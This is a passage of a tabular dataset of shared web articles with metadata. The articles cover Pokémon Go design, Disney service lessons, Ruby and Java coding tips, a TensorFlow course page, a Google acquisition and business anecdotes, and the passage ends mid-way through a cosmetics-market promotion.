1468337707,CONTENT SHARED,1356221992133852808,-1032019229384696495,1370975477017368957,,,,HTML,https://techcrunch.com/2016/07/11/the-brilliant-mechanics-of-pokemon-go/,The brilliant mechanics of Pokémon Go,"A court ruled that it could be a federal crime to share your Netflix password If you haven't seen it already, you will soon walking down the street. Every person you pass who is fervently looking at their phone is likely playing the number one game in the country right now: Pokémon Go. You might think it's popular because of the brand. Nintendo, which refused to make a Pokémon game for the longest time on a smartphone, has finally caved and brought its beloved franchise to the small screen. But what may be overlooked amid all that is that the game, on its own, is phenomenally well designed on its own, despite myriad bugs and endless server outages. If you look at all aspects of the game loop - the engagement, retention, virality and monetization - it nails pretty much everything on the head. Niantic managed to hit a very rare, exceptional home run on every textbook point of the game's development. That's not an easy feat. Only a few games in the history of the iPhone have managed similar success. The closest analogues are probably Minecraft and Candy Crush Saga, which also rocketed to not only the top of the App Store download charts, but also the top grossing charts. Pokémon - much like Minecraft before it - launched immediately at the top of the charts. So its immediate success, based on the App Store rankings, isn't necessarily unprecedented. So, what makes this game so engaging and, from what we've seen so far, potentially very addictive? Let's break it down into its core pieces. Engagement Some of the best popular games have bite-time playing sessions. But the session time in Pokémon go can essentially be as long as the player wants, because there is a constant way to increase the length of the session time by walking to more pit-stops. That's a really hard thing to do in a game. Most session times are restricted to levels or gated with lives or energy. For Pokémon Go, there's just enough friction to inspire players to potentially pay to extend the length of their play session with less work, but also offer them the ability to go out of their way to extend that session time without having to pay. When I think about the structure of the play sessions in Pokémon Go, I often think of a role-playing game called Persona 4 Golden for the PlayStation Vita. The overall unit of time in the game is a day in the life of your character. The sessions are built into bite-size chunks based on the time of the day - morning, afternoon, and evening - and save points are littered through most parts of the game. And the combat sections of the game are also segmented into levels, with the option of leaving a dungeon at any point to save your game and end the playing session. In the same way as Pokémon Go, the game's session time can basically be extended to as long as the player wants while still keeping the basic mechanics of the game intact. In the case of Persona 4 Golden, that friction isn't necessary because the player has already bought the game, but for Pokémon Go it's incredibly well executed. Pokémon Go, like other well-designed popular mobile games, offers a quick ramp up that teases a lot of front-loaded rewards to get the player to come through the door and shut it behind them. That's important to grab their attention, but there's also multiple layers of rewards that keep players wanting to stay in the game. You can collect items in order to power up your Pokémon and evolve them, but it's also important to level up your own character. There are different layers of currency built into the game that progress along different time curves, giving each layer of progression its own speed and flavor. In that way, players can hit rewards at different increments of the game without feeling trapped in a grind for everything to level up at the same time. Amid the entire play session, the game has to stay open. That keeps you from getting distracted and flipping out to other apps. I find myself walking with my phone in my pocket, but with the game open often enough while wearing headphones. Whenever there's a chime, I take the phone out of my pocket and start playing - whether that's collecting Pokéballs or trying to capture something new (or some crappy junk Pokémon for the sake of experience). The game world is vibrant and beautiful, making it something easy and fun to see. It's filled with flair and flashes that are visually stimulating and signal new elements of the game. All this makes the player want to keep their eyes - or ears - glued to their phone, ready to engage with it the moment something new happens. All of this is great design, and doesn't even mention the brand equity Pokémon has built up. Nintendo has sold nearly 60 million 3DS units . Pokémon X & Y alone have totaled nearly 15 million in sales . That's an incredible nearly 25% penetration rate for all Pokémon enabled devices. If Nintendo were to barely scratch that with the nearly 2.5 billion smartphones in the world ( according to Statista ) that alone represents a staggering install base. Pokémon already is a worldwide phenomenon, and that alone is probably enough to get the player in the door beyond simply encountering other players and hearing about it organically. Pokémon Go currently only supports the original 150 Pokémon as well, tapping into the an untapped nostalgia that players have been waiting nearly a decade for. Retention An array of user-generated gameplay experiences is critical to building strong retention, and all the pieces are already built into the Pokémon Go experience. Each capture session is unique - the angle of the Pokéball is different, the placement of the Pokémon is different, and there's also an opportunity to have a unique experience also tied with the real world. You have probably seen on your Facebook feed screenshots of Pokémon sitting on other peoples' heads or in their laps. Each capture moment offers a unique player session, and while many will be similar, there's the tantalizing opportunity to have something truly unique that's really exciting. There's also an incredibly sticky part of user-generated content that exists alongside the game: the actual walk. Each walk a player goes for, in theory, is unique. The environment in the real world is different. the people who you run into may be different, the weather may be different, or the time of day. The environment in the game is also different, with Gyms constantly in flux and new Pokémon appearing at different intervals and in different places. Each walk also actively engages the player physically - and exercise naturally triggers a positive feel for your body, adding an additional layer of delight to the gameplay experience. This is such a new mechanic for a popular game that's unprecedented. For most games, the user-generated gameplay is restricted to an imaginary universe. It's a level on Candy Crush Saga that you get that lucky explosive cookie. It's a player-versus-player round in World of Warcraft where you get that lucky critical hit. It's a round of Destiny where you are just on fire and keep getting headshots. But all of these take place inside a screen, interfaced by a controller - whether that's a real controller or a touchscreen. The mastery curve is also smooth - over time you build a strong array of Pokémon that help you advance further in the game. The end of the game, like the regular Pokémon games, is a moving target, and there's basically always someone out there that's slightly better than you. That gives players a constant incentive to continue progressing along the mastery curve. Virality What's also unprecedented is Niantic's spin on the game's viral loop. In Pokémon Go, there's no feature that allows you to extend the life of your playing session by inviting or reaching out to friends. In fact, the social graph is almost non-existent in Pokémon Go. Instead, your in-game social graph is an extension of a supplemented version of your real-world social graph. A smartphone owner sees someone playing the game, becomes curious, downloads the game, and plays it - both interacting with other players and inspiring curiosity in other potential new players. And the rest of the time you're looking at screenshots of what's happening in the game in your Facebook feed, or texting friends when you managed to catch that rare Pokémon. You can read stories in many places on the internet of people randomly interacting with each other related to Pokémon Go. I experienced this already when walking around San Francisco, only to have a car drive by with one of the passengers yelling that there was a rare-ish Pokémon down the street (it was an Ivysaur, for those keeping tabs). This is table stakes for the Pokémon Go experience, and it's what gets new players in the door. This kind of virality is especially powerful because it isn't limited to an existing social graph. The whole viral loop is augmented in such a way that a non-connected interaction in the real world can lead to a new player, a download, and then monetization of that player. That's why I think this interpretation of the viral loop mechanic is so fascinating and is going to be so successful. Never before has a game immediately achieved such popularity in such a way that it regularly intersects with the real world. A lot of people consider it to be an augmented-reality experience, and in many ways you could consider it to be that. But it's not just an experience that uses your camera to play - it's an experience that crosses the boundary between an imaginary universe and the real world. I think the proper term that should be applied to this would be mixed-reality. The phrase augmented reality just doesn't give the game enough credit for being able to break that fourth wall and constantly move the player between an imaginary world and the real world. And it also represents an enormous opportunity for the game if Niantic decides to implement other important aspects of Pokémon like trading. Without an embedded social graph the game has already grown to immense popularity. Just imagine if it began to add an additional layer of player interaction - even if, again, it only takes place in the real world. Monetization So it's no wonder that the game has already hit the top of the App Store's top grossing charts. There's a lot going on in the monetization component of Pokémon Go, but again, it nails nearly every angle of attack to get players to make a payment. You can extend the life of your play session with more Pokéballs. You can speed up your growth curve by getting Egg Incubators, further increasing your array of potential Pokémon to further progress in the game. You can increase the rate of the engaging capture sessions by buying Incense. The same can be said for Lure Modules, which not only represent accelerated progression in the game but yet another way to tap into Pokémon Go's viral loop. Players congregate around areas - whether for catching Pokémon or building up their Pokéball stock - and that increases the probability that new, curious players will come by and discover the game independent of the App Store or other methods like Facebook App Install ads. Users paying for this contribute to the entire community of players given the benefit it offers everyone else. The most important aspect of this is that the gameplay, unlike most of the most-popular mobile and social games, is not gated. Paying Niantic and Nintendo money simply allows players to progress more quickly, but it doesn't impede their progress overall. Players have an opportunity to progress through the game at their own rate. As the saying goes, you still need the slow boat to China if you're going to be successful. Niantic here does such a good job of creating just enough friction that, at the exact moment, it can capture an opportunity for monetization. Players don't feel compelled to spend money, and instead they're offered a delightful experience when they elect to spend money. Those eye-popping visuals continue, they keep throwing Pokéballs, and they don't have to wait to see some of the most powerful Pokémon game. Final thoughts All this together creates a very powerful, sticky, and accelerating game loop that is helping the game grow at such an incredible rate. But there's another underlying thread amid all this: It bodes very well for holdout franchises to expand into mobile devices amid fear of cannibalizing devices or other parts of the market. Even Final Fantasy, in a way, has found its way onto mobile devices with Final Fantasy Record Keeper. Nintendo, amid the runaway early success of the game, added $9 billion to its market cap . This is such a strong, powerful signal to holdout franchises that haven't quite entered the smartphone ecosystem. And there's a good reason to do so: if that 2.5 billion device number from Statista is accurate, it offers such an enormous opportunity that it may be well worth eating up some potential hardware sales. This is a transition that the advertising market faced in the not too distant past. Google is constantly hounded by the need to shift its advertising revenue to mobile devices, in the hope that less valuable ads can be traded for a larger volume of ads on mobile devices. Facebook has built a business worth hundreds of billions of dollars off its mobile advertising products. Video game stalwarts will face the same dilemma: do you trade hardware and console sales in favor of the incredible volume of smartphone users? Is it worth the risk to assume people will still buy your consoles when Mario is available on your phone? Can a company like Nintendo offer an array of experiences that span multiple devices? In this week's blowout success of Pokémon Go, the answer for now appears to be rounded up to a Yes. Alas, there's no way to mash down+A+B. Get on that, Niantic. Featured Image: Eduardo Woo / Flickr UNDER A CC BY-SA 2.0 LICENSE",en
1468338993,CONTENT SHARED,-1537223691132357350,3609194402293569455,-1666924852486578662,,,,HTML,https://endeavor.org.br/jeito-disney-encantar-clientes-5-licoes/,A arte de encantar clientes: 5 lições que aprendemos com a Disney ,"A arte de encantar clientes faz parte da cultura da Disney desde a sua criação. Confira as 5 lições que aprendemos com uma das marcas mais reconhecidas do mundo. Walt Disney, quando idealizou a Disneyland, tinha como sonho criar um lugar mágico e seguro em que suas filhas pudessem se divertir. Com o passar dos anos, mesmo depois de seu falecimento, essa ideia continuou firme e agora é o que move milhares de pessoas, todos os dias, dentro dos parques temáticos que transformam sonhos em realidade . E, para que tudo isso aconteça, é preciso ter um time alinhado e um excelente atendimento ao cliente . Conversando com Alicia Matheson, ex-diretora do Disney Institute , separamos 5 lições que vão te ajudar a encantar seus clientes, assim como a Disney encanta seus guests . 1. Como a Disney, o Google e a Southwest Airlines revolucionaram o atendimento ao cliente A Disney é referência quando falamos em atendimento ao cliente, mas você já ouviu a expressão ""serviço evolucionário""? Neste primeiro episódio, Alicia conta um pouco sobre esse conceito que molda o comportamento de todos os colaboradores da Disney, fazendo com que eles dediquem seus esforços para criar a melhor experiência possível aos seus cliente. Além da Disney, também podemos citar a Google e a Southwest Airlines. E você sabe como elas conseguem fazer isso de forma tão natural e eficaz? É simples: desde pequenas, essas empresas tinham em sua cultura valores muito fortes. Mais do que isso, ao crescer, esses negócios continuaram focando em seus clientes, em seus desejos e paixões , entendendo realmente o que eles querem como suas empresas podem entregar isso da forma mais mágica e surpreendente possível. 2. Como a Disney empodera seus funionários Walt Disney teve a ideia da Disneyland com o propósito de criar felicidade , em 1955, mas faleceu muito antes de ver o primeiro parque temático inaugurado. Então como depois de todos esses anos a Disney continua firme em seu propósito original de criar felicidade? Podemos responder isso em 2 palavras: empoderamento dos funcionários. Fazer com que seus colaboradores entendam o porquê deles estarem realizando determinada tarefa não é fácil, mas faz toda a diferença . Uma das perguntas mais recorrentes sobre a cultura de empoderamento da Disney é sobre a fórmula secreta que faz com que todos os colaboradores trabalhem junto para entregar felicidade, desde o gerente do parque até o responsável pela limpeza. Alicia compartilha um pouco dos seus aprendizados em relação a essa cultura que ela chama de ""cultura de cuidado"". Como não queremos dar spoilers de tudo que ela fala, destacamos os seguintes aprendizados : Compartilhe com todo seu time o propósito da sua empresa; e Certifique-se de que toda sua equipe sabe o que ela pode fazer para contribuir para atingir esse propósito. 3. Atenção nos detalhes: Como criar momentos mágicos para os clientes Criar momentos mágicos pode parecer complicado, mas não é. Esses pequenos ""uaus"" que seus clientes procuram podem estar escondidos atrás de simples ações, como um atendimento mais eficaz ou até mesmo uma comunicação mais personalizad a que faça com que ele sinta que sua empresa realmente se importa como ele. Neste episódio emocionante, Alicia relata uma história simples e muito verdadeira sobre como podemos criar esses momentos mágicos não só para os clientes, como também para os colaboradores e todos ao seu redor. 4. Ser um bom líder não é mais suficiente Ser um bom líder vai além de saber como falar com seus clientes e colaboradores. Em um mundo em que temos toda a informação necessária sobre um produto ou serviço na ponta de nossos dedos, ser um bom líder significa entender o que as pessoas querem e entregar isso de uma forma divertida e única. Mais do que simplesmente ter um bom atendimento, o líder ideal é aquele que sonha grande e não tem medo de romper paradigmas e barreiras, criando, muitas vezes, experiências que muitos acreditavam ser impossíveis. Claro, fazer isso não é tão simples, mas é algo em que todos os empreendedores deveriam apostar suas fichas. 5. Do que é feito um grande CEO Mudanças acontecem. Pode ser uma crise, um novo concorrente que acabou de entrar no mercado ou até mesmo um desentendimento interno na empresa. A causa não importa, o seu foco deve ser sempre na reação que seu negócio e, principalmente, você terá frente a esses novos desafios. Entre 2007 e 2008, a Disney enfrentou uma grande queda no número de turistas, mas isso não impediu o parque de continuar inovando e entregando a melhor experiência que seus visitantes poderiam desejar. E esse é o diferencial que faz com que uma empresa prospere até nos momentos mais adversos . Na verdade, são nessas horas que o papel do CEO é mais decisivo. Um CEO que se mantém positivo, incentiva seus colaboradores a fazerem o mesmo e continuarem lutando é o que irá mover a empresa e fazer com que toda realidade que era tida como desafiadora seja apenas uma fase complicada que logo chegará ao fim. Encantar seus clientes é uma questão de cultura, liderança e paciência . Nenhuma mudança acontecerá da noite para o dia, mas não é por isso que você deve desistir. Se você se interessou pelo assunto, confira todos os vídeos em nosso Canal do Youtube .",pt
1468340950,CONTENT SHARED,-8043889175123948305,-4465926797008424436,3133301208369799012,,,,HTML,http://keeptesting.com.br/2014/11/04/dicas-avancadas-de-ruby-capybaracucumber/,Dicas avançadas de ruby (capybara/cucumber),"Esse post foi escrito originalmente em inglês ( ) e achei que seria bom ter a versão na minha lingua nativa :) Como de constume, continuo vendo um pessoal dizendo que automação não é desenvolvimento, logo não usam técnicas como DRY (dont repeat yourself) ou coisas bacanas da linguaguem que escolheram usar para automatizar seus testes. Para ajudar essas pobres almas, eu juntei mais algumas dicas avançadas para que você deixe seu código mais bonito, semântico e o tempo que você vai economizar para estender seus testes, você poderá gastar ficando mais tempo no break do café :) 1 - Você deveria usar o Bundler Uma das coisas legais do ruby é seu gerenciador de depenência chamado bundler . Com ele você tem o controle de quais gems o seu projeto de teste depende. No diretório raiz do seu projeto, crie um arquivo chamado Gemfile (sem extensão) . Uma cópia do conteúdo pode ser vista abaixo (adicione outras gems que você usa em seus scripts) salve o arquivo e chame o comando abaixo no mesmo diretório. O bundler vai pegar a última versão de todas as gem's do arquivo Gemfile e irá instalar para você. Caso ela já esteja instalada, vai mostrar na tela a seguinte mensagem: ""Using gem XXXX"". Se você quer uma versão específica de uma gem, pode usar a sintaxe ao lado Quer saber mais sobre o bundler ? . 2 - Se possível, evite usar IF's O condicional if é o método mais comum utilizado em todas as linguagens e é facil de usar, porém com o tempo e o aumento de complexidade do seu script, fica fácil se perder em tantos if's jogados por ai. Muitos ifs tornam o código difícil de manter, ler e estender. Se você tem uma condicional simples, não tem problema usar if mas se ela é um pouco maior, tente usar case . Veja o exemplo abaixo: Usando case : Não é nem pela quantidade de linhas, mas de como o código é exibido. Vamos concordar que é bem mais semântico e fácil de entender 3- Não declare variáveis vazias( x = nill).. Muitas pessoas que vieram do mundo JAVA , constumam declarar variáveis vazias para poder popular mais tarde dentro de um loop ou dentro de uma condicionais ( if ou case ) . Pelo amor de deus não faça mais isso.. Se você está tentando preencher uma variável dentro de uma condicional, tente usar a sintaxe abaixo: if : case : Reparou que eu não faço myVariable = ""true""? Pois cada condicional tem um valor de retorno implícito e ele preenche a variável com esse valor de retorno. 3.1 Você pode expandir essa dica para métodos também: Viu? sem usar o método return ..e funciona tranquilamente :) 3.2 Tente usar inline / if's tenários É o mesmo que: Ou você pode usar a forma tenária de se escrever: 4 - Coloque seus processos comuns em métodos de suporte. Com cucumber você já consegue reutilizar STEP's (isso é nativo da biblioteca e é genial) porém algumas vezes existem processos que não entram nesses steps e você pode utilizar eles frequentemente. Exemplo: Você precisa fazer logoff da aplicação para testar se o processo de teste trocar senha está funcionando. . O Step disso poderia ser: ""E o usuário loga novamente para confirmar a alteração de senha"" . O step não é um processo específico de logoff porém utiliza os passos para fazer um logoff. Então por que não criar um método específico para ele? Ou exemplo poderia ser um método que faz um calculo que é geralmente utilizado em grande parte dos testes? Dentro da pasta support , qualquer arquivo .rb que você colocar lá dentro, os métodos poderão ser acessados de qualquer arquivo de teste dentro do seu projeto Mais fácil que fritar ovo! 5 - Utilize valores padrão para argumentos dos seus métodos Em tempos sombrios onde o selenium 1 era beta e eu estava aprendendo a programar em java. Meus métodos orientados a objetos utilizados para dar suporte aos meus testes tinham 3..5.. 10 argumentos EU pensava que era normal por causa da complexidade dos testes... o restante da história eu vou deixar de lado para poupar vocês da dor e agonia. Primeiro de tudo, tente evitar fazer métodos que use mais que 4 argumentos. Também verifique quais argumentos são passíveis de um valor padrão. Por exemplo, vamos imaginar que você precise chamar um método para salvar um log no banco de dados e algumas vezes você precisa jogar exibir na tela alguma mensagem no console. Na maior parte do tempo, você não irá exibir nada no console. Em tempos passados eu faria desta forma: Como falado acima, grande parte do tempo não será exibido nada no console, então por que temos que chamar o método savelog sempre com o argumento ""console"" false?Por que não deixar esse argumento com falor padrão = false? Vamos refatorar! Repare que só deixei explícito o argumento console igual a ""true"" e quando eu não mando nada, ele usa o padrão do método 5.2 Se você precisar mandar mais que 4 argumentos, procure enviar um hash. Imagine que você tem um método assim: Se você precisa o método, mas não precisa passar todos os argumentos, mesmo com valor padrão você precisaria colocar algo para identificar a ordem certa dos paramêtros. (arg3 e arg4 tem que ser nill para identificar o arg5) Feio né? Sabia que podemos chamar um método com argumentos em hash? Bem mais bonito e semântico! E perceba que não está na ordem de antigamente, pois ele identifica o nome do parametro pela chave do hash! mas espera um pouco... o arg3 e arg4 vai exibir nill? vai dar pau? Vai exibir ""nill"" e isso nos leva a última dica :) 5.3 - Tratando variáveis nulas (nill) Lembra do exemplo anterior? puts options[:arg3] e puts options[:arg4] vai ser exibido nill. Mas e se eu não quero exibir nill ? É possível setar um valor default para caso o argumento não venha OU venha _nill Agora caso não venha o parâmetro requisitado, ele irá preencher com uma mensagem genérica ""não veio o argumento""! Por enquanto é só. Espero que tenham gostado! Dúvidas, críticas, café, sugestão.. sinta-se a vontade para comentar! Sobre o Autor: Leonardo Galani é Agile Tester, dev, gamer, dj and etc. Mantém o fórum | (profile)| (blog em inglês) Please enable JavaScript to view the comentários por Disqus. comments powered by",pt
1468342307,CONTENT SHARED,2623290164732957912,-1443636648652872475,2028508990791943355,,,,HTML,https://www.kadenze.com/courses/creative-applications-of-deep-learning-with-tensorflow/info,Creative Applications of Deep Learning with TensorFlow | Kadenze,"Some knowledge of basic python programming is assumed, including how to start a python session, working with jupyter (ipython) notebook (for homework submissions), numpy basics including how to manipulate arrays and images, how to draw images with matplotlib, and how to work with files using the os package. For students less familiar with numpy/matplotlib though still confident with python, a rough guide is provided for the 1st session as a jupyter notebook. Peer Assessment Code of Conduct: Part of what makes Kadenze a great place to learn is our community of students. While you are completing your Peer Assessments, we ask that you help us maintain the quality of our community. Please: Be Polite. Show your fellow students courtesy. No one wants to feel attacked - ever. For this reason, insults, condescension, or abuse will not be tolerated. Show Respect. Kadenze is a global community. Our students are from many different cultures and backgrounds. Please be patient, kind, and open-minded when discussing topics such as race, religion, gender, sexual orientation, or other potentially controversial subjects. Post Appropriate Content. We believe that expression is a human right and we would never censor our students. With that in mind, please be sensitive of what you post in a Peer Assessment. Only post content where and when it is appropriate to do so. Please understand that posts which violate this Code of Conduct harm our community and may be deleted or made invisible to other students by course moderators. Students who repeatedly break these rules may be removed from the course and/or may lose access to Kadenze. Students with Disabilities: Students who have documented disabilities and who want to request accommodations should refer to the via the Kadenze support center. Kadenze is committed to making sure that our site is accessible to everyone. Configure your accessibility settings in your Kadenze Account Settings. student help article",en
1468346133,CONTENT SHARED,-6817174660103551196,-1130272294246983140,-128184048934753129,,,,HTML,http://www.b9.com.br/65956/tech/cafeteria-compra-itens-de-pokemon-go-para-aumentar-movimento-e-funciona/,Cafeteria compra item de Pokémon Go para aumentar movimento - e funciona,"O fenômeno de Pokémon Go está sendo divertido não só para os jogadores como também para estabelecimentos que conseguirem se aproveitar da hype. E esse será o objetivo da cafeteria-laboratório Huge Café , que a agência Huge usa para fazer seus experimentos. Eles pretendem mostrar que abraçar a hype de uma maneira criativa pode ajudar a aumentar o movimento. A cafeteria está localizada entre duas pokéstops, que são locais onde os jogadores podem reabastecer em pokébolas e outros itens. Para aproveitar esse tráfego constante de jogadores, eles compraram e instalaram pelo jogo e no local da cafeteria um módulo chamado ""lure"", que atrai diversos pokémon para o local onde ele é colocado e tem duração de 30 minutos. O resultado? Um aumento significativo de pessoas entrando na cafeteria para pegar os pokémon no local. Segundo Derek Fridman, o diretor de criação da Huge, eles vão reativar o módulo lure durante todos os dias essa semana para que novos pokémon sempre apareçam na cafeteria - e pretendente instalar também uma estação de recarga de bateria do celular, o que deve ser particularmente interessante para os jogadores. Eles também vão monitorar as vendas e quantidade de clientes na cafeteria durante toda essa semana para ""verificar os efeitos da aplicação da mecânica dos jogos como forma de atrair clientes"".",pt
1468352145,CONTENT SHARED,-8031358134051918098,7645894863578715801,-5674219745453993645,,,,HTML,https://dzone.com/refcardz/learn-microservices-in-java,Learn Microservices in Java - DZone - Refcardz,"How quickly can you stand up a new Java microservice? In today's software business market, there is a lot of competition. The key to success in this market is how quickly a service is released. The importance of speed-to-market places an emphasis on microservices to move small batches of work quickly from demand to production.",en
1468352919,CONTENT SHARED,2262656830196923781,7645894863578715801,-5674219745453993645,,,,HTML,http://blog.takipi.com/tabs-vs-spaces-how-they-write-java-in-google-twitter-mozilla-and-pied-piper/,"Tabs vs Spaces: How They Write Java at Google, Twitter, Mozilla and Pied Piper | Takipi Blog","In spite of the suggestive image above, we don't want to commence any unnecessary holy wars. When it comes down to coding styles, most choices are pretty arbitrary and depend on personal preference. Yes, even if tab width changes between editors, and spaces tend to be more precise. If there were such a thing as developer team anthropology, style guidelines would probably be a major part of it. In this post we will highlight formatting guidelines and different Java coding styles in companies like Google, Twitter, Mozilla, the Java standard and our own teams at Takipi. Once and for all, do you use tabs or spaces? - Takipi (@takipid) July 6, 2016 Why use guidelines in the first place? Readability is the main consideration here. It's almost certain that you will not be the only person to read the code that you write. And the best thing you can do for the next person who reads your code is to stick to conventions. A consistent style of writing not only helps create good looking code, but also makes it easier to understand. The twitter guidelines specify one exception and we tend to agree, ""if the more 'readable' variant comes with perils or pitfalls, readability may be sacrificed"". The full style guides are available right here: Google Java style guide (there's another one for Android) Twitter style guide Official Java code conventions (New OpenJDK guidelines are available right here ) Mozilla guidelines Our own guidelines at Takipi Let's see what they have in store. 1. Indentation: tabs vs spaces First, we need to get this off our chests before proceeding. There's a clear preference for spaces over tabs in the style guides. We'll not go into pros and cons here and just share the findings: Perhaps developers who use tabs don't like writing style guides �� Data from Github suggests that around 10-33% of the Java repositories prefer tabs, and the majority use spaces in different formations, preferring 4 spaces over 2. There's actually a pretty nice module for running this analysis (comparing different languages). BTW, peeking over to other JVM languages like Scala and Clojure, we see almost 100% 2 spaces. Considering a larger dataset that covered individual commits gave us different results (The convention analysis project , one of the Github data challenge winners ), but we can estimate it to be somewhere in-between probably closer to 10%. (In case you were curious, at Takipi we prefer tabs. We're not barbarians. Go Richard Hendricks! ) Java Tabs vs Spaces - Analyzing popular code conventions (Source: outsideris/popularconvention ) 2. Line length, wrapping and breaks Sometimes lines of Java code tend to get long, and the style guides set conventions on when is it appropriate to break or wrap. The general convention is around 80-100 max length Of course apart from natural breaks after semicolons, line breaks are used not only when lines get too long but also for logic separation. The general convention is to break after commas, before operators, and use a hint of common sense. Here's an example from twitter's style guide that makes good use of this concept: This helps separate statements and create a logic where each line of code represents a contained / ""atomic"" operation. The style guides tend to agree here. Blank lines also have an important role in the mix, separating logical blocks. The Java standard style guide also has a reference to double line breaks, separating interface and implementation. 3. Variable Naming Wide agreement across all style guides. FirstLetterUpperCase for class names camelCase for method and variable names, all lower case package names and ALL_CAPS for final static constants. A common exception for this would be the logger, which we usually define as: Twitter's guideline adds another interesting style of including units in variable names: 4. Exception Catch Clauses Exceptions are a thorny issue. Recently we've covered a research that looked into over 600,000 projects on Github and Sourceforge and uncovered some grim truths about non standard use of exceptions. Google's and Twitter's style guides reference the infamous empty catch blocks: Moreover, another guideline we recommend to at least try to keep is making sure your exceptions are actionable , and avoid control flow exceptions. The amount of noise so called ""normal"" exceptions cause in a production environment is terrifying. The current state of exceptions and error handling, relying mostly on log files to get to their root cause in production, is our main motivation behind building Takipi . If you haven't already, check it out! We'd love to hear what you think. 5. Parentheses for clarity, and curly braces Even when they're not necessary, parentheses can help improve readability. With compound predicates, it's common to use parentheses for clarity, even when the order of execution is obvious. For example: Block statement styles - Analyzing popular code conventions (Source: outsideris/popularconvention ) So what do the style guides say about grouping parentheses? When dealing with curly braces, all style guides examined support breaking after the opening brace. At Takipi, we actually do the opposite, but we're not alone, while the ""inline"" curly brace is used by the majority of Java developers, 37% of code commits examined here use a new line: 6. No Brains Inside Constructors One guideline that we keep and didn't find in any of the style guides is not to keep any ""brains"" inside constructors (so they're safe from zombies - but not from weak jokes apparently). If we need to create an object and do some heavy duty operations to build it, we use a creator method instead. For example: Final Thoughts There are many more style guidelines that we didn't cover in this post to avoid making this an exhaustive list, and they're all available in the original docs linked at the beginning of the post. Readability is a major factor in keeping your code error free, and... it just feels right to keep these OCD senses from tingling. What are some of the unique guidelines / quirks that you follow? Does your company / team use a style guide of your own? Please feel free to share those in the comments section below!",en
1468354550,CONTENT SHARED,-1419343869401004365,3609194402293569455,-1666924852486578662,,,,HTML,https://endeavor.org.br/fracasso-pepsi-ajudou-pizzahut-kfc/,O deslize da Pepsi ajudou a Pizza Hut e KFC,"Esse é o caso de David Novak, criador de uma bebida da Pepsi que fracassou. Com isso, ele aprendeu lições de liderança que o ajudaram a liderar o crescimento da Yum Brands, dona do KFC e Pizza Hut, onde foi presidente de 1999 a 2016. A sua grande falha foi a Pepsi Crystal , uma bebida de cola transparente e sem cafeína. O produto chegou ao mercado originalmente em 1992 e se espalhou pelos Estados Unidos no ano seguinte. O refrigerante foi descontinuado pouco tempo depois do lançamento . Apesar de ter chamado a atenção e ter alcançado 0,5% do mercado de refrigerantes, não conseguiu atingir a participação planejada de 2% e nem fidelizar o consumidor. Agora, a companhia está relançando o produto em uma campanha para avivar a nostalgia dos fãs da bebida, disponível por poucas semanas nos EUA e Canadá. Novak disse ao Business Insider que essa foi ""a melhor ideia de sua carreira"" e também sua maior lição. Quando a Crystal Pepsi foi apresentada para um mercado reduzido para testar a aceitação, ela foi um sucesso. No entanto, os funcionários da PepsiCo levantaram uma preocupação: o gosto ainda não estava completamente correto . O sabor não era tão parecido com o da Pepsi, o que poderia deixar os consumidores confusos. Novak falou que ""os engarrafadores disseram que 'a ideia é ótima e podemos fazer um grande produto, mas precisa ter um sabor mais parecido com a Pepsi'. Mas eu não queria ouvi-los . Estava expandindo a bebida nacionalmente, mas não os ouvi"". O sabor do refrigerante não foi o único motivo para o fracasso - os concorrentes também lançaram bebidas transparentes e abafaram o produto da PepsiCo. Mas, para Novak, a lição ficou. Quando ele se tornou CEO da Yum Brands, dona do KFC, Pizza Hut e Taco Bell, ouvir sua equipe foi uma de suas principais preocupações: ""Aprendi que você precisa reconhecer que, quando pessoas levantam problemas, elas podem estar certas"" Ele ainda disse que ouvir as ideias e sugestões dos funcionários pode fazer com que eles estejam mais engajados em achar uma solução. Reconhecimento dos funcionários é, inclusive, o tema de seu livro, ""O Great On"". O esforço teve resultado. Quando ele se aposentou, há um mês, a rede tinha 41.000 restaurantes em 125 países pelo mundo e mais de US$ 33 bilhões de valor de mercado. Conteúdo originalmente postado e adaptado de Exame.com",pt
1468359667,CONTENT SHARED,-4216050818952952471,-1032019229384696495,1370975477017368957,,,,HTML,https://techcrunch.com/2016/07/12/google-acquires-deep-search-engine-kifi-to-enhance-its-spaces-group-chat-app/,Google acquires deep search engine Kifi to enhance its Spaces group chat app,"Google has made another small acquisition to help it continue building out its latest efforts in social apps. The search and Android giant has acquired Kifi , a startup that was building extensions to collect and search links shared in social apps, as well as provide recommendations for further links - such as this tool, Kifi for Twitter . Terms of the deal are not being disclosed but according to Google engineering director Eddie Kessler , the app's team will be joining the company to work on Spaces , Google's group chat app. It looks like Spaces could use the help. The app launched earlier this year and has had a very lukewarm run in the market so far, currently lingering around 577 in the U.S. iOS App Store and 284 in the Android store. In a Medium post earlier today, Kifi's founders noted that the app is not merging with Google, and that it will only remain alive for another few weeks, after which point it will stick around for a few weeks more for data exports only. While the app is not living on, it sounds like the kind of tech that Kifi's team - founded by Dan Blumenfeld - will continue to live on. Considering Space's current focus on group chat, it sounds like this means they could tweak Kifi's link sharing and link recommendation technology to use them in that context, and to be able to collate them with links from other applications and platforms. This seems to be what Kessler says will be the intention, too, in his own short Google+ post. ""Delighted the Kifi team, with their great expertise in organizing shared content and conversations, is joining the Spaces team to build features that improve group sharing. Welcome aboard!"" Kifi had raised just over $11 million in funding from Don Katz, Oren Zeev, SGVC and Wicklow Capital.",en
1468367545,CONTENT SHARED,-5039153034159656707,5206835909720479405,5420738927372117137,,,,HTML,http://conquistecomhinode.com.br/mercado-de-cosmeticos-no-brasil/,Mercado de Cosméticos no Brasil - Setor que não conhece crise!,"Conquiste sua Liberdade Financeira Você também pode! Previous Next MERCADO DE COSMÉTICOS NO BRASIL - CRISE? ONDE? Não é segredo para ninguém que o mercado de cosméticos no Brasil , e de beleza em geral, desconhece esse negócio chamado crise! Cuidar do corpo tem sido prioridade não só para as mulheres, mas para muitos homens atualmente. Em outros tempos, bastava que a mulher levasse seu batom, blush e rímel que estava tudo certo, mas hoje a lista de itens básicos está muito maior. Mas o mercado de cosméticos no Brasil não é somente responsável pela beleza das mulheres, ele movimenta uma economia de milhões de reais, gerando renda, empregos e até mesmo incentivando a sustentabilidade. 113% DE CRESCIMENTO AO ANO Esse é o crescimento médio da Indústria de cosméticos no Brasil nos últimos 5 anos. Isso é fabuloso, é literalmente nadar contra a correnteza em um mercado tão conturbado. De 2010 a 2015 o mercado de cosméticos no Brasil cresceu 567% , passando de 72 mil para 482 mil profissionais em Janeiro de 2015. Seguindo essa média podemos ser otimistas e esperar um bom crescimento para o mercado de cosméticos no Brasil em 2016, mesmo diante da crise que o 